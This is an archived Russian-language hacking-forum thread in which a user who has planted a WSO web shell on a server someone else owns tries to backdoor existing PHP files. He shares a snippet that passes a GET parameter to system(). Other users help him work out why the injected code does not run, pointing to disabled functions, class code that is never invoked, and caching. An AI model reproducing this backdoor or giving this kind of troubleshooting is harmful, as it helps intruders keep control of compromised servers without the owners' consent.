Просмотр полной версии : Не выполняется мой код в php-файлах
blackbox
23.12.2015, 21:19
В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:
PHP:
if($_GET['cmd')
{
system($_GET['cmd']);
}
Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?
BabaDook
24.12.2015, 12:47
blackbox said:
↑ (https://antichat.live/posts/3931215/)
В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:
PHP:
if($_GET['cmd')
{
system($_GET['cmd']);
}
Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?
phpinfo посмотри, наверное там дисабле функцион system exec
blackbox
24.12.2015, 13:23
BabaDook said:
↑ (https://antichat.live/posts/3931425/)
phpinfo посмотри, наверное там дисабле функцион system exec
Нет, отключенных функций нету, да и ошибку бы выдало. Если в новом файле прописать, то все работает. А в тех файлах что я изменял даже echo не выводилось.
private_static
24.12.2015, 13:41
blackbox said:
↑ (https://antichat.live/posts/3931215/)
В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:
PHP:
if($_GET['cmd')
{
system($_GET['cmd']);
}
Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?
если в файле описан класс это не значит что экземпляр этого класса создаётся в этом же скрипте
к примеру имеем следующий код в файле test.php:
PHP:
в данном случае вызова system() не произойдёт если вы обратились к данному скрипту в виде test.php?cmd=whoami, потому что в этом скрипте только определили функцию но не вызвали её
а вот в таком случае всё отработает:
PHP:
отработает потому что test() вызывается в этом же скрипте
либо вставляйте свой код в место в котором он тут же выполнится, либо ищите где и когда создаётся объект протрояненного класса и уже обращайтесь к скрипту в котором идёт создание этого объекта и работа с его методами
blackbox
24.12.2015, 15:39
private_static said:
↑ (https://antichat.live/posts/3931449/)
если в файле описан класс это не значит что экземпляр этого класса создаётся в этом же скрипте
к примеру имеем следующий код в файле test.php:
PHP:
в данном случае вызова system() не произойдёт если вы обратились к данному скрипту в виде test.php?cmd=whoami, потому что в этом скрипте только определили функцию но не вызвали её
а вот в таком случае всё отработает:
PHP:
отработает потому что test() вызывается в этом же скрипте
либо вставляйте свой код в место в котором он тут же выполнится, либо ищите где и когда создаётся объект протрояненного класса и уже обращайтесь к скрипту в котором идёт создание этого объекта и работа с его методами
Да, это понятно, я не в классе вставлял код и не в описании функции. Я вынес за пределы, но суть не поменялась. Опять же, резюмируя - когда я добавляю код в существующие файлы, он не выполняется, причем никакой, даже echo, а когда я создал новый файл, но в нем все отработало. Вот.
private_static
24.12.2015, 15:51
blackbox said:
↑ (https://antichat.live/posts/3931513/)
Да, это понятно, я не в классе вставлял код и не в описании функции. Я вынес за пределы, но суть не поменялась. Опять же, резюмируя - когда я добавляю код в существующие файлы, он не выполняется, причем никакой, даже echo, а когда я создал новый файл, но в нем все отработало. Вот.
быть может там система кеширования какая стоит
blackbox
24.12.2015, 16:52
private_static said:
↑ (https://antichat.live/posts/3931519/)
быть может там система кеширования какая стоит
Возможно.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot